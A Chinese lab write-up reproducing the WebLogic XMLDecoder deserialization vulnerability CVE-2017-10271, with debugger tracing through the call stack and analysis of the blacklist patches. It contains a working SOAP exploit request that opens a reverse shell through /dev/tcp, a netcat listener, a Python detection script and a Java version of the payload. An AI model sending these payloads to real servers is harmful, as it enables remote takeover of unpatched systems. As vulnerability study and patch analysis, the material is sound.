【CVE复现】WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)漏洞复现

漏洞介绍

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。

漏洞涉及版本
10.3.6.0
12.1.3.0.0
12.2.1.1.0

漏洞地址:

1
2
3
4
5
6
7
8
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

环境搭建

用的vulhub,为了动态分析cve的原理,用IDEA的远程调试搞一下,首先修改下docker-compose.yml文件,添加调试端口

1
2
3
4
5
6
7
version: '2'
services:
weblogic:
image: vulhub/weblogic:10.3.6.0-2017
ports:
- "7001:7001"
- "8453:8453"

docker-compose up -d 编译镜像并启动容器

docker exec -it 4d /bin/bash 进入容器内,vi /root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh

之后将docker中的项目文件cp出来,添加在IDEA项目中,在debug配置中添加远程调试

漏洞利用

使用了网上exp,成功getshell,首先在主机监听:nc -l -p 9999,之后使用burp修改下面的数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 127.0.0.1:7001
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: text/xml
Content-Length: 639

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>
/bin/bash
</string>
</void>
<void index="1">
<string>
-c
</string>
</void>
<void index="2">
<string>
bash -i >& /dev/tcp/192.168.0.32/9999 0>&1
</string>
</void>
</array>
<void method="start">
</void>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
</soapenv:Body>
</soapenv:Envelope>

成功反弹shell
其中 ns2:frame 标签中打印出的是调用栈信息

Payload解析
SOAP 请求结构

  • Envelope: 定义了 SOAP 消息的外层结构,使用的是标准的 SOAP Envelope 命名空间。
  • Header: SOAP 消息中用来包含头部信息,这里特别使用了 WorkContext,这是 WebLogic Server 特有的机制,用于在 SOAP 请求中传递上下文或状态信息。

WorkContext 内容

  • XMLDecoder: 利用 Java 的 java.beans.XMLDecoder 类来反序列化 XML 中定义的 Java 对象。由于 XMLDecoder 可以实例化任何 Java 对象,因此它被用于执行恶意代码。

恶意代码执行流程

  1. ProcessBuilder: 使用 java.lang.ProcessBuilder,这是 Java 中用于创建操作系统进程的 API。
  2. 数组构造: 构造一个字符串数组,用于作为 ProcessBuilder 的参数。这个数组包含了要执行的命令:
    • /bin/bash: 使用 bash shell。
    • -c: 表示后面的字符串是要运行的命令。
    • bash -i >& /dev/tcp/192.168.0.32/9999 0>&1: 这条命令尝试建立一个反向 shell 连接到 IP 地址为 192.168.0.32 端口 9999 的服务器。这个命令的功能是将当前 shell 的输入输出重定向到一个 TCP 连接,实际上是创建了一个可以远程控制的 shell。
  3. <void method="start"/> - 这行代码调用 ProcessBuilderstart() 方法,启动构建的进程,实际上就是执行了上述的 bash 命令。

下面是一个漏洞验证脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests

headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Upgrade-Insecure-Requests': '1',
'Content-Type': 'text/xml'
}
def Webogic_XMLDecoder_poc(url):
#url="http://192.168.189.137:7001"
posturl=url+'/wls-wsat/CoordinatorPortType'
data = '''
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println">
<string>xmldecoder_vul_test</string></void><void method="close"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
'''

print (url)
try:
r=requests.post(posturl,data=data,headers=headers,timeout=5)
geturl=url+"/wls-wsat/test.txt"
print (geturl)
check_result = requests.get(geturl,headers=headers,timeout=5)
if 'xmldecoder_vul_test' in check_result.text:
print ("[+]存在WebLogic WLS远程执行漏洞(CVE-2017-10271)")
except:
print ("[-]不存在WebLogic WLS远程执行漏洞(CVE-2017-10271)")

if __name__ == '__main__':
url = "http://192.168.189.137:7001"
Webogic_XMLDecoder_poc(url)

漏洞分析

这里首先将上面的调用栈信息格式化一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<S:Envelope xmlns:S="http://schemas.xmlsoap.org/soap/envelope/">
<S:Body>
<S:Fault xmlns:ns4="http://www.w3.org/2003/05/soap-envelope">
<faultcode>
S:Server
</faultcode> <faultstring>
0
</faultstring> <detail>
<ns2:exception xmlns:ns2="http://jax-ws.dev.java.net/" class="java.lang.ArrayIndexOutOfBoundsException" note="To disable this feature, set com.sun.xml.ws.fault.SOAPFaultBuilder.disableCaptureStackTrace system property to false">
<message>
0
</message> <ns2:stackTrace>
<ns2:frame class="com.sun.beans.ObjectHandler" file="ObjectHandler.java" line="139" method="dequeueResult">
</ns2:frame> <ns2:frame class="java.beans.XMLDecoder" file="XMLDecoder.java" line="206" method="readObject">
</ns2:frame> <ns2:frame class="weblogic.wsee.workarea.WorkContextXmlInputAdapter" file="WorkContextXmlInputAdapter.java" line="111" method="readUTF">
</ns2:frame> <ns2:frame class="weblogic.workarea.spi.WorkContextEntryImpl" file="WorkContextEntryImpl.java" line="92" method="readEntry">
</ns2:frame> <ns2:frame class="weblogic.workarea.WorkContextLocalMap" file="WorkContextLocalMap.java" line="179" method="receiveRequest">
</ns2:frame> <ns2:frame class="weblogic.workarea.WorkContextMapImpl" file="WorkContextMapImpl.java" line="163" method="receiveRequest">
</ns2:frame> <ns2:frame class="weblogic.wsee.jaxws.workcontext.WorkContextServerTube" file="WorkContextServerTube.java" line="71" method="receive">
</ns2:frame> <ns2:frame class="weblogic.wsee.jaxws.workcontext.WorkContextTube" file="WorkContextTube.java" line="107" method="readHeaderOld">
</ns2:frame> <ns2:frame class="weblogic.wsee.jaxws.workcontext.WorkContextServerTube" file="WorkContextServerTube.java" line="43" method="processRequest">
</ns2:frame> <ns2:frame class="com.sun.xml.ws.api.pipe.Fiber" file="Fiber.java" line="866" method="__doRun">
</ns2:frame> <ns2:frame class="com.sun.xml.ws.api.pipe.Fiber" file="Fiber.java" line="815" method="_doRun">
</ns2:frame> <ns2:frame class="com.sun.xml.ws.api.pipe.Fiber" file="Fiber.java" line="778" method="doRun">
</ns2:frame> <ns2:frame class="com.sun.xml.ws.api.pipe.Fiber" file="Fiber.java" line="680" method="runSync">
</ns2:frame> <ns2:frame class="com.sun.xml.ws.server.WSEndpointImpl$2" file="WSEndpointImpl.java" line="403" method="process">
</ns2:frame> <ns2:frame class="com.sun.xml.ws.transport.http.HttpAdapter$HttpToolkit" file="HttpAdapter.java" line="539" method="handle">
</ns2:frame> <ns2:frame class="com.sun.xml.ws.transport.http.HttpAdapter" file="HttpAdapter.java" line="253" method="handle">
</ns2:frame> <ns2:frame class="com.sun.xml.ws.transport.http.servlet.ServletAdapter" file="ServletAdapter.java" line="140" method="handle">
</ns2:frame> <ns2:frame class="weblogic.wsee.jaxws.WLSServletAdapter" file="WLSServletAdapter.java" line="171" method="handle">
</ns2:frame> <ns2:frame class="weblogic.wsee.jaxws.HttpServletAdapter$AuthorizedInvoke" file="HttpServletAdapter.java" line="708" method="run">
</ns2:frame> <ns2:frame class="weblogic.security.acl.internal.AuthenticatedSubject" file="AuthenticatedSubject.java" line="363" method="doAs">
</ns2:frame> <ns2:frame class="weblogic.security.service.SecurityManager" file="SecurityManager.java" line="146" method="runAs">
</ns2:frame> <ns2:frame class="weblogic.wsee.util.ServerSecurityHelper" file="ServerSecurityHelper.java" line="103" method="authenticatedInvoke">
</ns2:frame> <ns2:frame class="weblogic.wsee.jaxws.HttpServletAdapter$3" file="HttpServletAdapter.java" line="311" method="run">
</ns2:frame> <ns2:frame class="weblogic.wsee.jaxws.HttpServletAdapter" file="HttpServletAdapter.java" line="336" method="post">
</ns2:frame> <ns2:frame class="weblogic.wsee.jaxws.JAXWSServlet" file="JAXWSServlet.java" line="99" method="doRequest">
</ns2:frame> <ns2:frame class="weblogic.servlet.http.AbstractAsyncServlet" file="AbstractAsyncServlet.java" line="99" method="service">
</ns2:frame> <ns2:frame class="javax.servlet.http.HttpServlet" file="HttpServlet.java" line="820" method="service">
</ns2:frame> <ns2:frame class="weblogic.servlet.internal.StubSecurityHelper$ServletServiceAction" file="StubSecurityHelper.java" line="227" method="run">
</ns2:frame> <ns2:frame class="weblogic.servlet.internal.StubSecurityHelper" file="StubSecurityHelper.java" line="125" method="invokeServlet">
</ns2:frame> <ns2:frame class="weblogic.servlet.internal.ServletStubImpl" file="ServletStubImpl.java" line="301" method="execute">
</ns2:frame> <ns2:frame class="weblogic.servlet.internal.ServletStubImpl" file="ServletStubImpl.java" line="184" method="execute">
</ns2:frame> <ns2:frame class="weblogic.servlet.internal.WebAppServletContext$ServletInvocationAction" file="WebAppServletContext.java" line="3732" method="wrapRun">
</ns2:frame> <ns2:frame class="weblogic.servlet.internal.WebAppServletContext$ServletInvocationAction" file="WebAppServletContext.java" line="3696" method="run">
</ns2:frame> <ns2:frame class="weblogic.security.acl.internal.AuthenticatedSubject" file="AuthenticatedSubject.java" line="321" method="doAs">
</ns2:frame> <ns2:frame class="weblogic.security.service.SecurityManager" file="SecurityManager.java" line="120" method="runAs">
</ns2:frame> <ns2:frame class="weblogic.servlet.internal.WebAppServletContext" file="WebAppServletContext.java" line="2273" method="securedExecute">
</ns2:frame> <ns2:frame class="weblogic.servlet.internal.WebAppServletContext" file="WebAppServletContext.java" line="2179" method="execute">
</ns2:frame> <ns2:frame class="weblogic.servlet.internal.ServletRequestImpl" file="ServletRequestImpl.java" line="1490" method="run">
</ns2:frame> <ns2:frame class="weblogic.work.ExecuteThread" file="ExecuteThread.java" line="256" method="execute">
</ns2:frame> <ns2:frame class="weblogic.work.ExecuteThread" file="ExecuteThread.java" line="221" method="run">
</ns2:frame>
</ns2:stackTrace>
</ns2:exception>
</detail>
</S:Fault>
</S:Body>
</S:Envelope>


分析调用栈,我们重点关注下面的调用流程:

  • weblogic.wsee.jaxws.workcontext.WorkContextServerTube->processRequest
  • weblogic.wsee.jaxws.workcontext.WorkContextTube->readHeaderOld
  • weblogic.wsee.jaxws.workcontext.WorkContextServerTube->receive
  • weblogic.workarea.WorkContextMapImpl->receiveRequest
  • weblogic.workarea.WorkContextLocalMap->receiveRequest
  • weblogic.workarea.spi.WorkContextEntryImpl->readEntry
  • weblogic.wsee.workarea.WorkContextXmlInputAdapter->readUTF
  • java.beans.XMLDecoder->readObject

回到漏洞利用时的漏洞地址:POST /wls-wsat/CoordinatorPortType HTTP/1.1,可以看到形成漏洞的接口应当是wls-wsat,查看源文件可以看到servlet映射关系

动态调试

具体的步骤流程,我把断点打在了 weblogic.wsee.jaxws.WLSServletAdapter 类的handle函数,接下来跟进分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public void handle(ServletContext var1, HttpServletRequest var2, HttpServletResponse var3) throws IOException {
if (var2.getMethod().equals("GET") || var2.getMethod().equals("HEAD")) {
HttpMetadataPublisher var4 = (HttpMetadataPublisher)this.endpoint.getSPI(HttpMetadataPublisher.class);
if (var4 != null && var4.handleMetadataRequest(this, this.createConnection(var1, var2, var3))) {
return;
}

if (this.isOraWsdlMetadataQuery(var2.getQueryString())) {
this.publishWSDL(this.createConnection(var1, var2, var3));
return;
}
}

super.handle(var1, var2, var3);
}

这段代码定义了一个 handle 方法,用于处理来自 Web 服务的 HTTP 请求。它是在一个可能属于 SOAP 或 REST Web服务的 Java 类中,处理特定类型的 HTTP 请求,尤其是针对元数据和 WSDL 发布。以下是对这个函数各部分的详细分析:
参数

  • ServletContext var1:这是一个接口,它为 servlet 定义了一个范围为整个应用的视图,使 servlet 能够获得关于其运行环境的信息。
  • HttpServletRequest var2:表示客户端到服务器的请求信息,用于检查此次 HTTP 请求的方法和查询字符串。
  • HttpServletResponse var3:表示服务器对客户端的响应,可用于设置响应的类型、内容等。
  1. 检查请求方法:

    • 方法首先检查 HTTP 请求是否为 GETHEAD 方法。这两种方法通常用于获取信息,不对服务器的状态进行更改。
  2. 处理元数据请求:

    • 如果请求方法是 GETHEAD,代码尝试获取一个 HttpMetadataPublisher 的实例。这个实例可能是用于发布或处理与 HTTP 相关的元数据的。
    • this.endpoint.getSPI(HttpMetadataPublisher.class) 方法调用可能是获取服务提供接口(SPI),用于具体的元数据发布逻辑。
    • 如果 var4.handleMetadataRequest(this, this.createConnection(var1, var2, var3)) 返回 true,说明对元数据的请求已被处理,并且没有更多的操作需要执行,方法会提前返回。
  3. 处理 WSDL 发布:

    • 接下来,如果请求的查询字符串是针对 WSDL 的(通过 this.isOraWsdlMetadataQuery(var2.getQueryString()) 检查),则执行 this.publishWSDL(this.createConnection(var1, var2, var3))
    • 这一步可能涉及到 Web 服务描述语言(WSDL)的发布,它是一个 XML 格式的文档,描述了网络服务的接口,以便客户端知道如何与服务交互。
    • 与处理元数据请求相同,如果处理了 WSDL 发布,方法也会提前返回。
  4. 调用父类处理方法:

    • 如果请求既不是元数据请求也不是 WSDL 查询,那么将通过调用 super.handle(var1, var2, var3) 来继续处理请求。这表明当前方法是在某个继承层次中,且父类也有处理请求的逻辑。

接下来跟进到:AuthenticatedSubject.java 的 doAs 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public Object doAs(AbstractSubject var1, PrivilegedExceptionAction var2) throws PrivilegedActionException {
if (var2 == null) {
throw new SecurityException(SecurityLogger.getNullAction());
} else {
int var3 = SubjectManager.getSubjectManager().getSize();
SubjectManager.getSubjectManager().pushSubject(var1, this);
Object var4 = null;
boolean var11 = false;

try {
var11 = true;
var4 = var2.run();
var11 = false;
} catch (RuntimeException var12) {
throw var12;
} catch (Exception var13) {
throw new PrivilegedActionException(var13);
} finally {
if (var11) {
int var7 = SubjectManager.getSubjectManager().getSize();

while(var7-- > var3) {
SubjectManager.getSubjectManager().popSubject(var1);
}

}
}

int var5 = SubjectManager.getSubjectManager().getSize();

while(var5-- > var3) {
SubjectManager.getSubjectManager().popSubject(var1);
}

return var4;
}
}

这段 Java 代码是一个实现特权动作执行的函数,通常用在安全敏感的环境中,比如 Java 的安全框架中。它的功能是在特定的安全上下文中执行传入的 PrivilegedExceptionAction 动作。下面是对这个函数 doAs 的逐步分析:
参数

  • AbstractSubject var1: 这个参数代表的是执行动作的主体(subject),在安全框架中用于表示操作的执行者。
  • PrivilegedExceptionAction var2: 这是一个函数式接口,定义了需要在特定权限上下文中执行的操作。

功能

  1. 参数校验: 函数首先检查 var2 是否为 null。如果是 null,则抛出一个 SecurityException,表示不能执行空的操作。
  2. 主体上下文的推入: 在执行动作之前,函数使用 SubjectManager.getSubjectManager().pushSubject(var1, this) 将当前主体 var1 推入主体管理器的栈中。这是为了设置当前的安全上下文。
  3. 执行动作:
    • 使用 try 块来执行 var2.run(),即执行传入的特权操作。
    • 如果在执行过程中发生 RuntimeException,则直接将这个异常抛出。
    • 如果发生其他类型的 Exception,则将其封装在一个 PrivilegedActionException 中抛出,这是为了处理特权操作可能抛出的检查型异常。
  4. 异常处理:
    • finally 块确保无论 var2.run() 执行过程中发生什么情况(包括异常),都将当前主体从主体管理器的栈中弹出,直到栈的大小回到初始状态 var3
    • 这一步是必要的,以确保安全上下文在操作完成后能恢复到原始状态,防止安全漏洞。
  5. 恢复主体上下文:
    • try 块后,有另一个循环用于处理异常外的情况,同样确保主体栈被正确清理。

上面流程太长了,下面直接把断点打在weblogic.wsee.jaxws.workcontext.WorkContextServerTube

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public NextAction processRequest(Packet var1) {
this.isUseOldFormat = false;
if (var1.getMessage() != null) {
HeaderList var2 = var1.getMessage().getHeaders();
Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);
if (var3 != null) {
this.readHeaderOld(var3);
this.isUseOldFormat = true;
}

Header var4 = var2.get(this.JAX_WS_WORK_AREA_HEADER, true);
if (var4 != null) {
this.readHeader(var4);
}
}

return super.processRequest(var1);
}


var1为POST传进来的XML数据,var3是xml的头部解析,如果存在(头不为空),就进入readHeaderOld()方法,跟进readHeaderOld()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
protected void readHeaderOld(Header var1) {
try {
XMLStreamReader var2 = var1.readHeader();
var2.nextTag();
var2.nextTag();
XMLStreamReaderToXMLStreamWriter var3 = new XMLStreamReaderToXMLStreamWriter();
ByteArrayOutputStream var4 = new ByteArrayOutputStream();
XMLStreamWriter var5 = XMLStreamWriterFactory.create(var4);
var3.bridge(var2, var5);
var5.close();
WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray()));
this.receive(var6);
} catch (XMLStreamException var7) {
throw new WebServiceException(var7);
} catch (IOException var8) {
throw new WebServiceException(var8);
}
}

第一步processRequest中我们只把头读了进来,其他的数据还在缓冲区中,使用ByteArrayOutputStream函数读取剩余数据到var4。经过一系列的处理后,如果没有问题就创建WorkContextXmlInputAdapter对象 var6,之后跟进receive()

1
2
3
4
protected void receive(WorkContextInput var1) throws IOException {
WorkContextMapInterceptor var2 = WorkContextHelper.getWorkContextHelper().getInterceptor();
var2.receiveRequest(var1);
}

继续跟进receiveRequest()

1
2
3
public void receiveRequest(WorkContextInput var1) throws IOException {
((WorkContextMapInterceptor)this.getMap()).receiveRequest(var1);
}

将var1传到了receiveRequest()方法中,继续跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public void receiveRequest(WorkContextInput var1) throws IOException {
while(true) {
try {
WorkContextEntry var2 = WorkContextEntryImpl.readEntry(var1);
if (var2 == WorkContextEntry.NULL_CONTEXT) {
return;
}

String var3 = var2.getName();
this.map.put(var3, var2);
if (debugWorkContext.isDebugEnabled()) {
debugWorkContext.debug("receiveRequest(" + var2.toString() + ")");
}
} catch (ClassNotFoundException var4) {
if (debugWorkContext.isDebugEnabled()) {
debugWorkContext.debug("receiveRequest : ", var4);
}
}
}
}

继续跟进 readEntry

1
2
3
4
public static WorkContextEntry readEntry(WorkContextInput var0) throws IOException, ClassNotFoundException {
String var1 = var0.readUTF();
return (WorkContextEntry)(var1.length() == 0 ? NULL_CONTEXT : new WorkContextEntryImpl(var1, var0));
}

在这里对var0执行了readUTF()方法

1
2
3
public String readUTF() throws IOException {
return (String)this.xmlDecoder.readObject();
}

执行了readObject()方法,对XMLDecoder对象进行了反序列化,导致远程命令执行。

Payload

https://www.anquanke.com/post/id/102768

接下来我们详细剖析下payload的原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>
/bin/bash
</string>
</void>
<void index="1">
<string>
-c
</string>
</void>
<void index="2">
<string>
bash -i >& /dev/tcp/192.168.0.32/9999 0>&1
</string>
</void>
</array>
<void method="start">
</void>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
</soapenv:Body>
</soapenv:Envelope>

使用 SOAP 请求或者更具体地为什么在 WebLogic 中使用 SOAP,关联到了几个重要的点:Web服务的标准、WebLogic 服务器的功能以及企业级应用的需要。下面是这些关系的详细解释:

  1. SOAP 和 Web 服务标准
    SOAP(Simple Object Access Protocol)是一种协议规范,用于在网络上交换结构化信息,它建立在 XML 协议之上,使其能够与任何系统的任何编程语言进行交互,这对于异构系统的集成非常重要。SOAP 定义了如何通过网络传输信息:
  • 独立于平台和语言:SOAP 提供了一种方式,允许不同操作系统和编程语言之间进行通信,这对于多种技术堆栈的企业环境至关重要。
  • 支持复杂的交互模式:与简单的 REST 相比,SOAP 支持更复杂的交互和更强的安全性,包括事务管理和双向操作。
  1. WebLogic 服务器和 Web 服务
    WebLogic 是 Oracle 的一个企业级应用服务器,它提供了全面的支持用于开发、集成和部署企业级的 Java EE 应用。WebLogic 服务器提供的特性之一就是对 Web 服务的优秀支持,包括:
  • SOAP 支持:WebLogic 提供对 SOAP Web 服务的原生支持。它能够承载使用 SOAP 协议的服务,处理 SOAP 消息,并进行必要的安全和事务处理。
  • WS-Security:SOAP 的安全扩展(WS-Security)提供了一种机制来保证 SOAP 消息的安全,这是企业级应用所需的。WebLogic 支持这些标准,确保数据传输的安全性。
  1. 企业级应用的需要
    在企业级应用中,常常需要保证数据的安全传输和可靠性:
  • 可靠性和事务性:企业级应用通常要求数据传输必须是可靠的和具备事务性的,SOAP 提供了 WS-ReliableMessaging 和 WS-AtomicTransaction 等规范支持,这些都是 REST 很难完整提供的。
  • 服务描述:SOAP 使用 WSDL (Web Services Description Language) 描述服务接口,这对于企业级服务的自动发现和集成非常重要。
  1. WebLogic 中的 SOAP 利用漏洞
    正因为 WebLogic 服务器广泛地支持使用 SOAP 进行复杂的 Web 服务交互,所以一旦这些处理机制中存在缺陷,它们就成为了攻击者的目标。例如,CVE-2017-10271 就是利用了 WebLogic 在解析 SOAP 请求时处理 XML 输入的方式中的漏洞。

ProcessBuilder是什么? ,ProcessBuilder类是J2SE1.5在java.lang中新添加的一个新类,此类用于创建操作系统进程,它提供一种启动和管理进程(也就是应用程序)的方法。说白了它能执行本地命令,但是它提供的功能更加丰富,能够设置工作目录、环境变量。
将上面的payload转化为java代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.io.IOException;
import java.lang.ProcessBuilder;

public class Exploit {
public static void main(String[] args) {
try {
// 创建 ProcessBuilder 实例
String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.0.32/9999 0>&1"};
ProcessBuilder processBuilder = new ProcessBuilder(commands);

// 启动进程
processBuilder.start();
} catch (IOException e) {
e.printStackTrace();
}
}
}

补丁分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if (qName.equalsIgnoreCase(“object”)) {
throw newIllegalStateException(“Invalid context type: object”);
}
}
});
} catch (ParserConfigurationException var5) {
throw new IllegalStateException(“Parser Exception”, var5);
} catch (SAXException var6) {
throw new IllegalStateException(“Parser Exception”, var6);
} catch (IOException var7) {
throw new IllegalStateException(“Parser Exception”, var7);
}
}

上面这个是CVE-2017-3506的补丁,再对xml解析时,如果qName的值是Object时将抛出异常,采用的黑名单的方式。所以就出现了今天的分析的CVE-2017-10271。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public void startElement(String uri, StringlocalName, String qName, Attributes attributes) throws SAXException {
if (qName.equalsIgnoreCase(“object”)) {
throw newIllegalStateException(“Invalid element qName: object”);
} else if (qName.equalsIgnoreCase(“new”)) {
throw newIllegalStateException(“Invalid element qName: new”);
} else if (qName.equalsIgnoreCase(“method”)) {
throw newIllegalStateException(“Invalid element qName: method”);
} else {
if (qName.equalsIgnoreCase(“void”)) {
for (int attClass = 0; attClass < attributes.getLength(); ++attClass) {
if (!”index”.equalsIgnoreCase(attributes.getQName(attClass))) {
throw newIllegalStateException(“Invalid attribute
for element void: ”+attributes.getQName(attClass));
}
}
}
}
}

上面是CVE-2017-10271补丁,分别对 Object new method void进行了判断,进行了防护。导致poc攻击失效。

漏洞根源

其实主要还是 XMLDecoder 的问题,XMLDecoder 是 Java Beans 中用于从 XML 文档中恢复 Java 对象图的一个工具。它是专为解码通过 XMLEncoder 编码的 XML 文档而设计的,但也可用于处理其他符合格式的 XML。XMLDecoder 主要处理以下几种类型的标签:

  1. <object>
    这个标签用于创建一个对象的实例。它通常包含 class 属性来指定要实例化的类。这是最基本的用于实例化对象的标签。
    1
    <object class="java.util.Date"/>
  2. <java>
    这个标签是用于封装整个 Java 对象序列化数据的根元素,提供了一个环境来指定 Java 版本和类定义。
    1
    <java version="1.0" class="java.beans.XMLDecoder">
  3. <array>
    用于表示一个数组,通常包含 classlength 属性,用于指定数组的元素类型及长度。
    1
    <array class="java.lang.String" length="3">
  4. <void>
    这是一个多功能的标签,用于表示不返回值的方法调用或属性设置。例如,它可用于调用方法或设置对象的属性。
    1
    2
    3
    4
    5
    6
    7
    8
    <void property="name">
    <string>John Doe</string>
    </void>
    <void method="add">
    <object class="java.lang.Integer">
    <int>100</int>
    </object>
    </void>
  5. <value>
    用于包装简单值或字符串,通常内嵌在其他标签中,用于设置属性或数组值。
    1
    <value>123</value>
  6. <null>
    用于表示 null 值,常见于设置可为空的属性或对象引用。
    1
    <null/>
  7. <string>
    用于表示字符串值,经常用于属性赋值或方法参数。
    1
    <string>Example</string>
  8. <int>, <boolean>, <float>, <double>
    用于表示基本数据类型的值。
    1
    2
    <int>42</int>
    <boolean>true</boolean>
  9. <list>
    用于创建 List 类型的集合。
    1
    2
    3
    4
    <list>
    <string>Item 1</string>
    <string>Item 2</string>
    </list>

XMLDecoder 的设计初衷是用于 JavaBeans 组件的配置和存储,因此它在解析时会创建并操作 Java 对象。由于其灵活性,XMLDecoder 可以被用来执行复杂的操作,包括调用任意方法,这可能导致安全问题。因此,使用 XMLDecoder 处理不受信任的 XML 数据时必须非常小心。